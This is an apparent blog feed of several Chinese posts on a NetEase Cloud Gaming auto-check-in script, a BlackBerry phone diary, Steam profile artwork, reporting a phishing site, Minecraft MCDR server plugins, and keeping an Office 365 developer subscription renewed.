网易云游戏平台我在它内测期间用过,那个时候游戏变动太大(指可玩的游戏下周就变得不一样了),然后就放弃了

几个月前不是原神公测了嘛,就发现这个平台有原神(主要是自己手机玩不动),所以就开始该平台的使用

但是!!!它每天只有120~180分钟的游戏时长(不签到120mins,签到不等),而且电脑游戏的时长是累计制的,不签到就等于没有!!!

于是,我开始了我的白嫖之旅……我写了一个自动签到脚本,用Github Action帮我运行,就可以自动签到了!(耶~~~)

你可以在Github搜索wyycg-autocheckin找到这个脚本,也可以直接访问https://github.com/GamerNoTitle/wyycg-autocheckin来获取使用


本脚本通过使用Github Action来进行网易云游戏签到操作,让你能够天天白嫖网易云游戏时长和云电脑!

喜欢就给我点个STAR吧!

签到时间是早上10点,如果有需要就自己修改.github/workflows/AutoSignin.yml中第12行的时间,时间遵循UTC时间,+8才是我们的时间

请不要使用非master分支脚本,他们通常正在开发新功能,会有BUG出现

关于签到失败返回的结果(这里有实例),如果你有解码的经验,可以前往这里提供帮助,Thanks♪(・ω・)ノ

赞助

点击下面的Badge其中一个就可以跳转到相应页面,感谢老板的支持!

前往爱发电赞助 使用微信赞助 使用支付宝赞助

目录

使用方法

变量添加

1、Fork本仓库,按右上角的分支按钮(如图)

2、进入设置,设置变量cookieteleid teletoken SCKEY QQKEY PPKEY(这五个可选,但是teleidteletoken要用的话就得两个都要配置!)

请注意:你无需在仓库的secrets内设置名为GITHUB_TOKEN的变量,该名称本身就是指定为自己账户下名为GITHUB_TOKEN的密钥,如果你在仓库的secrets内设置将会被Github提示无效

如果使用多用户,多个cookie请使用#分隔

如何获取变量内容?请点这里

测试脚本

请在当天没有签到的情况下测试!!!

我们先进入Action界面,启用Action

然后我们进入对应的脚本,启用脚本,并进行测试

除了点STAR进行启动以外(现在STAR启动不了了),你也可以点击右边那个白白的按钮来启动

只要测试通过就是没问题,如果你配置了TELEGRAM还会收到你的BOT给你发送的消息

测试通过后,你还需要创建保活需要用到的Github Token,详情可以看保活策略这一节(其实就在下面撒)

保活策略 (新版Action可跳过,但是在设置里面的Action权限要放行写入权限!)

因为Github Action在仓库60天内没有任何Push的时候会禁用你的Action,这时候我们就要进行保活

保活Action已经写好了,但是这里有一些步骤是需要你进行的,请看下面的图片生成GITHUB_TOKEN以便让脚本造成的更改能够正常推送入你的仓库

变量内容获取

cookie获取

首先我们进入官网,进行登录,然后用F12打开开发者工具后使用Ctrl+F5进行刷新,会刷出很多结果

我们在里面找到@me这一项,然后在右边找到Authorization将冒号后面的内容复制下来就是我们所需要的Cookie

如果使用多用户,多个cookie请使用#分隔

teleid获取

用你的Telegram找到@userinfobot,点个Start,会直接给你回复你的ID,复制下id后面的数字就是teleid了

teletoken获取

找@BotFather进行机器人的创建,按照提示创建即可,会给你一个API TOKEN,如果一不小心点过去了可以用命令/mybots管理自己的bot,找到自己想要使用的bot并获取API就可以了

SCKEY获取

访问ServerChanTurbo官网,并用你的微信扫码登陆,获取推送用的KEY即可(因为我没有使用这个推送方法所以没有图)

请各位使用了SC推送服务的小伙伴尽快迁移到SCT,原服务将会在四月底下线

QQKEY获取

不推荐使用此推送方式,因为其极不稳定!使用该推送方式无法收到QQ提醒的请不要开issue说这个问题,因为这是该服务的问题不是脚本问题

访问CoolPush官网,使用任一方式登录,在调用代码Skey可以看到你的KEY

PPKEY获取

**此平台是ServerChan的替代平台,因为ServerChan发了个通知,所以我就先把这个给更了

访问PushPlus官网,使用微信登录,直接在一对一推送复制自己的Token填入变量即可!

Q&A

返回值400并附带一串不知道什么鬼的字符串

例子:

1
2
3
4
5
6
7
8
感谢使用来自GamerNoTitle的网易云游戏自动签到脚本!
今日签到结果如下:
成功数量:0/1
失败数量:1/1
具体情况如下:
第1个账号签到失败,回显状态码为400,具体错误信息如下:GL8B/hH+v9cYGsm/Ag8PAAwBAr/XztPNzsm/Ag8PChAEv9e/EhACD70QBgQLvREMAf4Wv8m/Ag8PChAEAAu/17/5EtID0tD5EtLWz9b5EtIBA8/5EtT/1AL5EtLP0M2/Gqc=
GamerNoTitle: https://bili33.top
网易云游戏自动签到脚本: https://github.com/GamerNoTitle/wyycg-autocheckin

首先你需要确认你当天是否已经签到过了才运行的脚本,如果确实先签了到再运行脚本,网易确实会返回400

目前也只发现这种情况会返回400,如果有其他情况你可以在issue跟我提出

错误代码

telepot.exception.TelegramError

Chat not found

请先用你要接受信息的账户发个/start给你的bot,或者检查用户ID是否正确!

Not found

请检查自己的Telebot Token是否正确!

telepot.exception.UnauthorizedError

该错误显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Traceback (most recent call last):
File "main.py", line 185, in
send(teleid, teleinfomsg)
File "main.py", line 82, in send
bot.sendMessage(id, message, parse_mode=None, disable_web_page_preview=None, disable_notification=None,
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 513, in sendMessage
return self._api_request('sendMessage', _rectify(p))
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 491, in _api_request
return api.request((self._token, method, params, files), **kwargs)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 155, in request
return _parse(r)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 147, in _parse
raise e(description, error_code, data)
telepot.exception.UnauthorizedError: ('Unauthorized', 401, {'ok': False, 'error_code': 401, 'description': 'Unauthorized'})

解决方法:检查自己的Bot的Token是不是正确的!

urllib3.exceptions

MaxRetryError

HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /botxxxx/sendMessage

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)

ReadTimeoutError

HTTPSConnectionPool(host='api.telegram.org', port=443): Read timed out. (read timeout=30)

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)(复制粘贴大法)


历史STAR

免责声明

使用本脚本造成的封号或任何违反相关法律法规造成的任何责任,由使用者自行承担,开发者不担负任何责任!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Script + + Netease + + + +
+ + + + + 日常吐槽08 - 换用Blackberry9720三个月后的感受 + + /posts/diary8/ + +

先给你们看看我的Blackberry9720(下图)

因为我的索爱在8月的时候听筒听不见声音了(平时使用其实没多大问题,主要是打电话……),所以我就换上了这台高一同学给的BB9720

让我来总结一下使用体验


日常使用

先放一张手机桌面

日常使用其实跟索爱没啥区别,就是键盘是26键,系统也是BBOS7不是塞班

打电话?NP!发短信?NP!索爱能做的它都能做

不过跟索爱也有同样的问题:SSL证书不信任

这可真是个灾难(背后网站是萌娘百科)

访问某些网站,证书比较新的那种,就会出现这个问题……(难受+1)

不过其他还是NP的,收邮件这一块我安装了一个LogicMail(主要是因为不能企业激活,毕竟服务商是MTN)

LogicMail主界面

不过有的时候LogicMail会抽风(指Opening Connection这个步骤会直接失败),就需要一波硬重启(因为黑莓的重启有两种,一种是平常长按电源键关机后开机,那种开机很快,大约10~15s就完成了,另一种是拆电池,这样的重启会长达5分钟,主要是需要加载所有的应用程序),但是我不想每次都拔电池,所以我用了一个QuickPull来硬重启

QuickPulllllllllllllllllllllllllll!!!


耗能体验

总的来说,如果一天重度使用(指经常浏览网页,看视频等),连半天都撑不过去(毕竟是旧手机)

不过按照我的使用习惯,两天一充还是可以的,不过充电速度有点……

激泪的充电速度

电池只有2000mAh,只能说还行


娱乐体验

微信

一句话:完 全 不 能 用!!!

微信好像已经被腾讯放弃了(事实也是如此,QQ同理),一直在这里转圈

BBOS7的微信

看片

只能看720P以下的视频,只支持主流的格式(不包括FLV)

看不玩不活零

一定要下载好,不过体验还行:D

听歌

听Brain Power

O-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

也是要下载好,不过可以听FLAC就好评(索爱不行)

文档

英语作文练习

就很NICE,索爱不能看文档,BlackBerry除了可以看docx还能看pptx、xlsx、pdf,就很舒服

游戏

我就装了个2048(益智游戏)

2048菜鸡分数

软件体验

有独立的软件商店,可以安装软件,但是我不知道怎么从第三方安装软件

软件商店

已购列表

但是有点问题就是,免费软件有广告,会推送到邮件客户端里面(不是LogicMail,是内置的那个邮件客户端)

垃圾广告


总结

总的来说,BlackBerry9720给我的体验还算不错,反正就剩下一年了,拿来临时用一用还是可以的


题外话

界面是英文是因为中文字体看不惯才换的,并不是只有英文

月考考完了,芜湖起飞!

]]>
+ + + + + diary + + + + + + + diary + + school + + + +
+ + + + + Steam资料美化 —— 让你的展柜变得好看! + + /posts/Steam-Artwork/ + +

你也想拥有想别人那样Steam资料有自己喜欢的人物嘛?你也想自己动动手,让自己的Steam资料变得好看吗?现在你不需要去某宝/某东,只要你跟着做,你就能够做到!

观前提示:本教程全程使用Photoshop(包括模板文件),请自备该软件~(另:抠图不是我应该教的)

话不多说,先上一张效果图(你也可以到我的Steam个人资料页面查看)

效果图


找图

找图当然是最重要的呀,没有图哪里来的背景……如果你的Steam个人资料没有背景,你可以去点数商店换一个自己喜欢的(点数确实挺难赚的就是了,G胖心里偷喜)

接着我们打开自己的Steam库存,选择你想用来做背景的图,点击查看完整大小

查看完整大小

你可以直接点击它,你也可以右键复制链接地址,反正我们需要的是链接

接着我们打开Steam.Design,把自己的链接贴进去点”Change BG”,然后点Download Images

操作步骤

下载下来是个压缩包,我们只要里面的Artwork_Middle.pngArtwork_Right_Top.png即可,如果你对头像也有要求可以把Avatar.png也用上,但是本教程不涉及

至于人物图嘛……P站很多自己找吧

裁剪

接下来就是要Photoshop的时候了,我会完整告诉你怎么弄,当然你也可以直接下载我提供的模板(懒人必备),可以省去切片的步骤,直接把图片拖进去然后保存即可

我们先新建一个607*942的空白画布,如图

新建画布

打开来就是一个纯空白的文件,接着把我们下载的两个图片拖进去

拖~进去

然后把两个图片分别拖到左右两边,大的在做,小的在右。如果你操作正确的话中间会留下一列空白(纯色)

正确操作

接着把自己的人物图放进去(请先自己扣好图),如果人物被挡住了需要把人的那一个图层向上移动(两个背景图层没有顺序要求,但是人物一定要在上面)

图层排列

重点来了!选择切片工具(如果你没有切片工具,请右键裁切工具选择切片工具)工具选择

从透明的那一列开始往下拉到底,将图划分为三个区域(因为透明那一列也是一个区域)

划分区域

区域显示

如果你不放心自己是否裁切对了,你可以按住Alt+鼠标滑轮上放大来检视自己的操作,如果不对,就可以将切片线移动到正确位置

放大检视

最后我们按住Ctrl+Alt+Shift+S,进行文件的保存(品质手动拉到100)文件名随便你,反正我们用不到文件名,裁剪就完成了

上传

我们打开Steam艺术作品上传页面(需要梯子或者Steamcommunity302),添加自己的文件,给自己的作品命名

重点来啦!按F12打开开发者工具,选择console,将以下的代码复制进去按回车运行

1
2
3
4
5
var num= document.getElementsByName("image_width")[0].value;

document.getElementsByName("image_height")[0].value = num-(num-1);

document.getElementsByName("image_width")[0].value= num*100;

最后会得到一行数字(两个数字的结果不一样,第一个是50600,第二个是10000,两个都要运行)

开发者工具

上传完成后我们点到Steam编辑个人资料,选择艺术作品展柜,并将自己的艺术作品展示出来,保存

修改个人资料展柜

这样你就得到了属于你自己的Steam个人资料页面了!

效果图


题外话

最近Leancloud国际版又崩了……评论获取不到,烦……

原神挺好玩的,虽然我每天有一个半小时的限制……

CSGO的排位还没打完哭了……昨晚三连跪了

]]>
+ + + + + Software + + + + + + + Software + + Steam + + Customize + + + +
+ + + + + 日常吐槽07 - 记录一次成功的举报经历 + + /posts/diary7/ + +

在这里仅记录我成功举报的一次经历,希望大家引以为戒,同时,我不玩PUBG,也不用约我打PUBG

另外,我在发邮件的过程中忘记用其他邮箱了,也就是我用了我的域名邮箱admin@bili33.top,如果现在在看本文的是那位办网站的老兄,请你记住:不管有多少这样的网站,只要我遇到了,通通举报!我不会改变我的做法,我希望弄这些钓鱼网站的人更少,同时给PUBG一个良好的游戏环境!

前几天我在浏览Steam商城,因为当时没啥好玩的了,想去看看有啥游戏,结果发现了下面这样的信息(我看到的是评测中的信息,忘记截图了,而且那个用户也被我举报并屏蔽且被V社处理了,这里是一张网上的图,我遇到的给的链接是pubgjosn.fun(危险别点))

网图

点进去用户界面,看到是个把个人信息设置为隐私的账户(此处仍然为网上的图

还是网图

我点进去一看,哟,这不是钓鱼网站嘛,长得还挺像PUBG的官网,不过开篇就是给枪皮,这价值我也不知道有多少,反正看这域名就不是官方网站

非官方网站

我试着在这个页面点击除了领取以外的按钮,发现就连阅读个新闻也要登录,这不符合逻辑,看来这个网站没啥,也就UI像了点,其他没啥

弹出来给我的Steam登录界面,地址栏写的是about:blank,也就是所谓的空白页,但是按照Steam的登录页面的逻辑,他应该是会写https://steamcommunity.com/?XXXXX之类的,这肯定也是个钓鱼的登录界面,随便输入个账号,就要手机验证码,骗谁呢~

接着,我去查了一下whois,发现他的DNS解析在CloudFlare,因为听说CloudFlare有停止解析服务这一说,所以我就去CloudFlare投诉了一波(投诉界面忘记截图了)

第二天早上起来,发现CloudFlare给我发了封邮件

CF的邮件

接着,我访问该网站,发现已经被挂上了红色警告

CF小红信

CloudFlare这波干的不错,返回来看CF给我发的邮件,里面还说到了以下几种方法(黄色部分,这里是在mail.ru,也就是我的域名邮箱托管的平台)

CF的提示

然后我又去查了一次whois,发现他是在reg.ru这个网站上注册的域名,接着我又去查这个网站的举报方式,发现了abuse@reg.ru这个举报邮箱

接着再发一封邮件,提出这种情况

发邮件给reg.ru

不久后便收到了来自该域名注册平台的邮件

REG.RU的回复

举报完成,收工!

在我即将开始写文的时候,发现我的Steam弹了一条V社的信息

V社的信息

这次举报真的大快人心!

下次继续!

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server + + /posts/MCDR-Mirror-Server-Usage/ + +

简体中文

感谢你选用MCDR-Mirror-Server作为MCDR镜像服插件,本页面是镜像服插件的一个例子,希望你看了这个例子能够更加清楚镜像服插件的工作原理和使用方法(*^▽^*)

English users please click me!

使用方法

首先,我们需要下载MCDR-Mirror-Server插件,你可以在Github仓库下载,对于中文用户,请下载mirror.pymirror.json

接着,把mirror.py放入MCDR的Plugins文件夹,把mirror.json放入MCDR的config文件夹,这样,插件的位置就到位了

在MCDR的目录下新建一个文件夹,或者在其他地方新建一个文件夹,用于存放镜像服的文件。

请注意!Windows用户请不要跨盘符建立文件夹,如果你的MCDR文件夹在C盘,那么你就把镜像服文件夹建立在C盘,请不要建立在D、E、F等盘(即禁止跨盘符建立文件夹),这是由于cmd的盘符切换方法导致你在运行MCDR的时候无法切换到其他盘符

将你的镜像服文件丢进你建立的文件夹内,可以带着MCDR进去,也可以不带,程序会自动判断是否带了MCDR

接着打开你的mirror.json文件,我们将要开始配置了

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}

首先,将path后面的内容改为你的文件夹路径,可以是相对路径也可以是绝对路径

world后面的内容改为你的世界文件夹的名字,请注意需要按照列表的格式填写,即["world","world1","world2"]等,将你所有的世界文件夹填入,如果你是原版服务器的话基本上只填写world是莫得问题的

command改为你的镜像服启动的命令,例如java -Xms2G -Xmx4G -jar server.jar或者python3 MCDReforged.py等,如果你的镜像服也带了MCDR,你需要注意:Windows使用python的方式不是写作python3而是写作py或者python,linux则特定要写python3

下面是rcon的相关配置,有关rcon的相关信息,你可以看这里

enable是是否开启rcon功能,如果开启了就可以使用rcon的功能,如果不开启就不行,相当于镜像服对镜像服rcon链接的总开关吧

address是镜像服服务器的地址,如果你是同一台机子就填127.0.0.1即可,否则就要填写直连的地址

secret填写镜像服的rcon密码,这个在server.properties里面设置的

port填写镜像服的rcon端口,同样在server.properties设置

command即是否允许利用!!mirror rcon <command>来对镜像服使用命令

填写完了以后,你仍然需要在server.properties里面修改端口,避免端口冲突

然后就可以在主服务器里!!MCDR reload plugin然后使用!!mirror start来尝试开启服务器了

使用例子

以我自己来说,我的目录树大概长这样

1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils

我的mirror文件夹就是我的镜像服文件夹,里面放了MCDR作为镜像服的管理工具,原版服务器上了Fabric,使用Linux来开服,所以我的config是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}

在mirror文件夹里面,我的文件大概如图所示(注:我开服的系统是linux,只是这里用Windows来浏览文件)

Mirror文件夹的文件

我的镜像服server.properties的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984

其实最主要的是下面这几个

1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password

保证端口不冲突即可,其他其实没啥;然后就是设置rcon的密码,然后把密码填进mirror.json,接着在主服务器用!!mirror start开服,就可以了

工作原理

工作原理很简单!就是通过MCDR打开了位于你镜像服文件夹的一个服务器,如果是Windows顺带还开多了一个powershell以免stop的时候把主服务器也stop了;关服务器的原理就是通过rcon对镜像服发起了/stop指令,仅此而已;同步就是对镜像服的世界文件夹覆盖


English

Thanks for choosing MCDR-Mirror-Server as your mirror server plugin. This page is an example of mirror plugin. Hopefully it can make you clear the working principle of the plugin and help you use the plugin more efficiently and more conveniently

Due to my lack of English (I’m still a senior high school student in China), some grammars may be wrong. If you don’t mind or help me correct it, I’ll appreciate it. Thanks♪(・ω・)ノ

Usage

First, you need to download MCDR-Mirror-Server plugin, you can download it from my Github. For English users, you need to download mirror.py and mirror.json.

Now you have downloaded the things you need, just put mirror.py into plugins folder and put mirror.json into config folder. Congratulate! You have installed the plugin successfully!

Create a new folder in MCDR’s folder or other place, for the use or put the mirror’s file inside it.

For Windows users be careful: You can’t put the folder across the drive. For example, if your main server folder is in C drive, then just create the folder in C drive, don’t put it into D, E, F, etc. Since the switch method of cmd, you cannot switch to another drive while you’re using MCDR

And now, but your mirror server into the folder you just created. Whether it included a MCDR is not a question, the plugin will automatically detect it.

Next, open the file mirror.json and edit the configuration of it

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}

Firstly, change ./mirror/ into the folder you just created (An absolute path or a relative path is avaliable)

Next change the list behind world with the format like ["world", "world1", "world2"], type all your world folder in. If your server is vanilla one then just keep it

Change the content behind command as your server’s start command. For example, java -Xms2G -Xmx4G -jar server.jar for vanilla or python3 MCDReforged.py for MCDReforged.

Tips: For Windows users, the startup command of python is py or python not python3 for linux users.

The following settings are the rcon ones, if you want to know what is rcon, you can visit here

enable means whether the rcon feature of mirror plugin is enabled or not, true to enable it, or false to disable it. If you disabled it, you cannot use any functions of rcon like remote shutdown and so on.

address is the mirror server’s address. For the users who put the two server into the same computer, just keep it as 127.0.0.1

secret is the password of your rcon, you can change it in server.properties file.

port is the port of the rcon on mirror server, you can also change it in server.properties file

command is the switch on allowing to use !!mirror rcon <command> command to input command to mirror server.

when you’re finished, you also need to change the port your mirror server in order to avoid the same port use between the main server and the mirror one.

Example

For my mirror, my directory tree like this

1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils

My mirror server folder inside MCDReforged is the folder called mirror, and I put a MCDR in it in order to manage my mirror server. After all, I use linux to hold the server, so my config grows like this

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}

My file in mirror folder like the picture below (PS: I use linux to hold the server, and I just use Windows to explore my files)

All my files in mirror folder

and my server.properties of my mirror like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984

The most important things are the following configuration

1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password

just keep the port use not the same, and setup your rcon’s password. Type the password and port in the mirror.json and use !!mirrro start in your main server to startup your mirror. That’s it.

Principle

It’s pretty easy! Just use MCDR to call python to use command to turn on another server. For Windows users, i’ve also create a new powershell thread to hold the mirror one in order to prevent the main server being killed. The shutdown just use rcon feature to send a /stop command to the mirror folder. Sync just copy the main server’s world into the mirror one.

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB! + + /posts/MCDR-Usage/ + +

你是否也想有能够在游戏内快速管理的服务器?

你是否也想像TIS一样有各种扩展?

你是否也想有!!qb

MCDReforged!不要998,不要888,只要……!@#¥%……&*()

咳咳,走错片场了……


MCDReforged是一个不需要修改MC服务端的情况下,使用自定义的插件系统提供服务器的管理等功能的一个工具,由@Fallen_Breath开发,使用Python作为运行环境(拒绝PY2从我做起)

这里有一个第三方的MCDR官网,你可以参阅一下

本篇我们来讲讲它的用法和我开发的插件的用法

如何使用

工作环境

Python 的版本需要 Python 3.6+。已在如下环境中测试运行通过:

  • Windows10 x64 Python 3.6
  • Centos7 x64 Python 3.8
  • Ubuntu18.04.4 x64 Python 3.6

这是佛冷测试的数据,我自己的Python版本是3.6.9,在Ubuntu 18.04.4 LTS上通过

你首先需要安装Python3,怎么安装请自己搜索,这不是我们这一节要讨论的内容

获取MCDR

你需要下载一个MCDR,我们转到MCDR的Release页面,下载最新版的MCDReforged,解压,你能得到以下目录

1
2
3
4
5
6
7
8
9
MCDReforged
├─config
├─plugins
├─resources
│ └─lang
├─server
└─utils
├─parser
└─reactor

这里说一下我们将要用到的文件夹:

config是用来存放插件的配置文件的

plugins就是插件存放的位置,你可以到MCDR插件库(中文)下载插件

server就是存放服务器文件的位置,我们的服务器文件例如minecraft.jarworld都放在这个里面

其他的文件夹我们不会用到,就不动它

在MCDR的目录下打开命令行窗口,使用

1
2
$ pip install -r requirement.txt# Windows用户
$ pip3 install -r requirement.txt# Linux用户

安装MCDR运行所需要的Python模块

配置MCDR

配置项配置

打开config.yml文件,里面有所有我们需要调整的MCDR参数

有以下配置项

1
2
3
4
5
6
7
8
9
10
11
language: en_us
working_directory: server
start_command: java -Xms1G -Xmx2G -jar minecraft_server.jar nogui
parser: vanilla_parser
encoding:
decoding:
console_command_prefix: '!!'
enable_rcon: false
rcon_address: 127.0.0.1
rcon_port: 25575
rcon_password: password

首先,如果你需要中文,就把language调成zh_cn;如果你不需要,可以不动它,直接保留en_us

working_dictionary是我们服务端存放的文件夹,当然你可以把server改成你喜欢的名字,然后在MCDR的工作目录里面新建一个与你填入的名字相同的文件夹,把服务端扔里头

start_command就是启动服务器用的命令,也就是你在服务器文件夹里面输入的启动命令,同样如果你写在了start.sh里面,可以直接填sh ./start.sh

parser是解码器,这个你可以根据你的服务端来填,具体如下

解析器名称兼容的服务器类型
vanilla_parser适用于原版 / Carpet / Fabric 服务端
bukkit_parser适用于 1.14 以下的 Bukkit / Spiogt 服务端,和任意版本的 Paper 服务端
bukkit_parser_14适用于 1.14 及以上的 Bukkit / Spiogt 服务端
forge_parser适用于 Forge 服务端
cat_server_parser适用于 CatServer 服务端
bungeecord_parser适用于Bungeecord 服务端。请在启动参数的 -jar 前添加 -Djline.terminal=jline.UnsupportedTerminal 以让其支持 MCDR 的控制,来源
waterfall_parser适用于 Waterfall 服务端

decodingencoding是编码方式,一般留空即可

console_command_prefix是MCDR的命令前缀,一般保持!!即可

enable_rcon和下面的rcon设置是Minecraft服务器的Rcon,如果你要打开你需要到server.properties里修改rcon的相关参数

权限配置

MCDR也有插件选项,拥有admin权限的玩家可以在游戏内使用MCDR服务器的指令,例如!!MCDR reload plugin,而且有些插件也会对权限进行检查,所以这就有必要配置权限

我们打开permission.yml文件,在对应的用户组输入用户名即可,例如

1
2
3
4
5
6
7
8
9
default_level: user

owner:
- GamerNoTitle# 这里就是给我owner权限
admin:
- UBIthepotato# 这里就是给UBIthepotato上admin权限
helper:
user:
guest:

给完权限后,在后台使用!!MCDR reload permission来刷新权限

启动MCDR

配置完MCDR后,我们回到MCDR的工作目录,使用命令

1
2
$ python MCDReforged.py# Windows用户
$ python3 MCDReforged.py# Linux用户

来启动我们的服务器,当你看到提示Done (12.757s)! For help, type "help"就是启动完了(不同服务端的提示可能不一样,我这里是vanilla

安装插件

首先你需要到MCDR插件库(中文)下载插件,文件应该是一个xxx.py文件,有的插件会带有一个xxx.json的配置文件

xxx.py文件放入plugins文件夹,将xxx.json放入config文件夹即可

如果你的服务器正在运行,可以使用!!MCDR reload plugin来重载插件


题外话

MCDR是真的好用,我的MC服务器就用的它

现在想完善一下镜像服插件的功能,想试试在主服务器关闭镜像服,不过得慢慢做了

本月我没咕!没咕!咕咕咕咕~

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + Office365开发者订阅保命计划 + + /posts/Office365-Renew-Project/ + +

上次有一篇文章教大家怎么白嫖了Office365 E3 Subscription for Developers(现在是E5),近期我重新申请了一次(之前的过期了),在这里教大家怎么增大微软续费的机会

只是增大机会,并不是一定会续费!!!

我已经续费成功一次了,截图在底部


自建网盘法

Office365的E5订阅附带了5T的Onedrive(如果你是1T可以去Onedrive后台进行调整)

这里我推荐使用Oneindex,使用方便

只需要自己找一个服务器搭建,使用自己的账号获取API的ID和KEYS绑定即可,记得多用,怎么部署不多说

E5Sub_bot法

如果你有服务器也可以自己搭建,项目地址在这里https://github.com/iyear/E5SubBot

怎么搭建就去看官方文档,这里说一下没有服务器怎么弄

我们先打开Telegram,在搜索栏搜索@E5Sub_bot,打开以后在输入框搜索/bind

接着我们点击应用注册后面的那个链接,你也可以直接点击这里

打开后登陆自己的Office账户,把显示的应用机密保存下来

接着点下面那个蓝色的按钮,返回快速启动

往下拉网页,看到有个APP ID(or Client ID),我们把下面框框内的UUID找个地方复制粘贴临时保存一下

然后我们回到Telegram,输入刚刚的UUID和Secret秘钥,需要按照提供的格式进行输入

会返回一个带有链接的对话框给我们,我们点击授权用户后面的点击直达

弹出来一个登录界面,登录完成后,复制地址栏里面的网址,粘贴到Telegram的对话框内就可以了

这样我们就绑定成功了,接下来就不管它,它会自己进行API的调用,每小时调用一次,并且会给我们反馈结果

自动续订程序法

这是一个由其他大佬开发的网页端的程序,并且所有的操作都是在他的服务器上的,本地服务器不需要跑任何东西。我们打开https://e5.qyi.io/user/login?redirect=%2Fuser%2Fhome

打开可能有点慢,请耐心等待。打开后点击中间的Github图标使用Github进行登录,进入主界面

然后先把这个网页放在一边,打开Azure,在上面搜索应用注册,打开后,我们点击左上角的新注册,名称随便填,下面的受支持的账户类型选择第三个,URI我们填写https://e5.qyi.io/outlook/auth2/receive,一定要填正确,否则是无法使用的!

进入页面后,我们复制上面显示的应用程序(客户端)ID,以供备用,接着我们点击左边的证书和密码,创建我们这个程序的密码

在右边选择新客户端密码,描述随便填,密码我们选择从不过期,然后新建,把给我们的密码保存下来备用

接着点到API权限,点击添加权限,选择Microsoft Graph,然后选择右边的应用程序权限,勾选Mail.ReadMail.ReadBasicMail.ReadBasic.AllMail.ReadWrite即可,剩下那个Mail.Send不用选择,勾选后确定,点击添加权限右边的代表xxx授予管理员同意,一定要点,否则无法正常运行

接着返回刚刚的那个网页,ID和机密填进去,然后点保存,接着点授权,一定要点授权,否则不会正常运行!

Github Action法

这里我们使用的是一个Github项目AutoApiSecret,进入这个项目我们先把它fork一份到自己的账户下

